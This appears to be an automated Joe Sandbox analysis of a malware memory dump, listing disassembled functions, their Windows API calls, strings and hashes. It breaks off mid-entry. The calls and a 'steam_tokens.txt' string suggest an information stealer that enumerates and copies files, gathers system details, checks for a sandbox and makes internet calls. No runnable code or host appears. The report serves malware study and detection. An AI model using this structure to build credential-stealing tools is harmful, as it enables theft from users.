Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 0040679E, 0040684E, 00406884, 0040689F, 004067C2

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,041906D8), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,04190578), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,04190748), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: facbcfeb329d3f9815475b54a06f180d61b580abb6e0d2298b8d5075a3fb8c5d
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: facbcfeb329d3f9815475b54a06f180d61b580abb6e0d2298b8d5075a3fb8c5d
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,041906D8), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,04190578), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,04190748), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 91cd0639fafd06dc0a39cd937359a2c576a7600d13c88bfeca31e0903ecbd99f
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: 91cd0639fafd06dc0a39cd937359a2c576a7600d13c88bfeca31e0903ecbd99f
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,041968B8), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,04190638), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6BCA3095

Part of subcall function 6BCA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2F688,00001000), ref: 6BCA35D5
Part of subcall function 6BCA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BCA35E0
Part of subcall function 6BCA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6BCA35FD
Part of subcall function 6BCA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BCA363F
Part of subcall function 6BCA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BCA369F
Part of subcall function 6BCA35A0: __aulldiv.LIBCMT ref: 6BCA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCA309F

Part of subcall function 6BCC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B85
Part of subcall function 6BCC5B50: EnterCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B90
Part of subcall function 6BCC5B50: LeaveCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5BD8
Part of subcall function 6BCC5B50: GetTickCount64.KERNEL32 ref: 6BCC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6BCA30BE

Part of subcall function 6BCA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6BCA3127
Part of subcall function 6BCA30F0: __aulldiv.LIBCMT ref: 6BCA3140

Part of subcall function 6BCDAB2A: __onexit.LIBCMT ref: 6BCDAB30

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 139c38d1499aa9bf92c4a0a09681061c5aa27de23e693a8d9eb167b424f2dd05
Instruction ID: 9c36fcefc700a33a3169d4bedf6fb7abde7edaca2510d6f9d782463ec4540ac1
Opcode Fuzzy Hash: 139c38d1499aa9bf92c4a0a09681061c5aa27de23e693a8d9eb167b424f2dd05
Instruction Fuzzy Hash: 1BF0F932C307C897DA20DF3489526A6F360EFAB215F501B2BEA446B011FF30A2D48382

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041908D8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: 82664073c78b14407ff2a65fb01a5e155cda0900eabfa95e0a657889640af93c
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: 82664073c78b14407ff2a65fb01a5e155cda0900eabfa95e0a657889640af93c
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: b85692bac22c82b231da35019f52562fb51be652bf257b83cf11110e45d5589b
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: b85692bac22c82b231da35019f52562fb51be652bf257b83cf11110e45d5589b
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 407d6d1cd96ad1ff19db18d65c2d3d428ccd969b87d209fb948818273e0ae36b
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 407d6d1cd96ad1ff19db18d65c2d3d428ccd969b87d209fb948818273e0ae36b
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
